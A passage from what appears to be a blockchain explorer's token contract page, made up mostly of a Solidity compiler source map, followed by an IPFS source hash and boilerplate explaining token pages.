9982:11;::::0;-1:-1:-1;;;9982:11:0;::::1;;;9978:25:::0;9995:7:::1;9978:25;10037:16;::::0;;10051:1:::1;10037:16:::0;;;;;::::1;::::0;;10013:21:::1;::::0;10037:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10037:16:0::1;10013:40;;10082:4;10064;10069:1;10064:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10064:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10108:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10108:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10064:7;;10108:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10098:4;10103:1;10098:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10098:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10173:15:::1;::::0;10141:62:::1;::::0;10158:4:::1;::::0;10173:15:::1;10191:11:::0;10141:8:::1;:62::i;:::-;10214:15;::::0;:196:::1;::::0;-1:-1:-1;;;10214:196:0;;-1:-1:-1;;;;;10214:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10295:11;;10214:15:::1;::::0;10337:4;;10364::::1;::::0;10384:15:::1;::::0;10214:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9930:488;5234:1;-1:-1:-1::0;5246:6:0;:14;;-1:-1:-1;;;;5246:14:0;;;9863:555::o;10630:181::-;10715:11;;:15;;10729:1;10715:15;:::i;:::-;10701:10;;10691:21;;10701:10;;;-1:-1:-1;;;;;10701:10:0;10691:9;:21::i;:::-;:39;10687:79;;;10734:30;;-1:-1:-1;;;10734:30:0;;13952:2:1;10734:30:0;;;13934:21:1;13991:2;13971:18;;;13964:30;-1:-1:-1;;;14010:18:1;;;14003:50;14070:18;;10734:30:0;13750:344:1;10687:79:0;10776:10;;:27;;:10;;;;-1:-1:-1;;;;;10776:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;9757:98;9814:7;9841:1;9839;:3;9838:9;;9846:1;9838:9;;;-1:-1:-1;9844:1:0;9757:98;-1:-1:-1;9757:98:0:o;1873:189::-;1959:7;1994:12;1987:5;1979:28;;;;-1:-1:-1;;;1979:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2018:9:0;2030:5;2034:1;2030;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4812:356::-;5014:2;4996:21;;;5033:18;;;5026:30;5092:34;5087:2;5072:18;;5065:62;5159:2;5144:18;;4812:356::o;5173:251::-;5243:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:52;;;5312:1;5309;5302:12;5264:52;5344:9;5338:16;5363:31;5388:5;5363:31;:::i;6702:306::-;6790:6;6798;6806;6859:2;6847:9;6838:7;6834:23;6830:32;6827:52;;;6875:1;6872;6865:12;6827:52;6904:9;6898:16;6888:26;;6954:2;6943:9;6939:18;6933:25;6923:35;;6998:2;6987:9;6983:18;6977:25;6967:35;;6702:306;;;;;:::o;7292:277::-;7359:6;7412:2;7400:9;7391:7;7387:23;7383:32;7380:52;;;7428:1;7425;7418:12;7380:52;7460:9;7454:16;7513:5;7506:13;7499:21;7492:5;7489:32;7479:60;;7535:1;7532;7525:12;10763:125;10828:9;;;10849:10;;;10846:36;;;10862:18;;:::i;11248:135::-;11287:3;11308:17;;;11305:43;;11328:18;;:::i;:::-;-1:-1:-1;11375:1:1;11364:13;;11248:135::o;11388:128::-;11455:9;;;11476:11;;;11473:37;;;11490:18;;:::i;11521:217::-;11561:1;11587;11577:132;;11631:10;11626:3;11622:20;11619:1;11612:31;11666:4;11663:1;11656:15;11694:4;11691:1;11684:15;11577:132;-1:-1:-1;11723:9:1;;11521:217::o;12633:127::-;12694:10;12689:3;12685:20;12682:1;12675:31;12725:4;12722:1;12715:15;12749:4;12746:1;12739:15;12765:980;13027:4;13075:3;13064:9;13060:19;13106:6;13095:9;13088:25;13132:2;13170:6;13165:2;13154:9;13150:18;13143:34;13213:3;13208:2;13197:9;13193:18;13186:31;13237:6;13272;13266:13;13303:6;13295;13288:22;13341:3;13330:9;13326:19;13319:26;;13380:2;13372:6;13368:15;13354:29;;13401:1;13411:195;13425:6;13422:1;13419:13;13411:195;;;13490:13;;-1:-1:-1;;;;;13486:39:1;13474:52;;13581:15;;;;13546:12;;;;13522:1;13440:9;13411:195;;;-1:-1:-1;;;;;;;13662:32:1;;;;13657:2;13642:18;;13635:60;-1:-1:-1;;;13726:3:1;13711:19;13704:35;13623:3;12765:980;-1:-1:-1;;;12765:980:1:o

Swarm Source

ipfs://0a572b24bfb69dd69aad63fdb4ae75a9073d0721bdf87a04924556488a6edf63
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.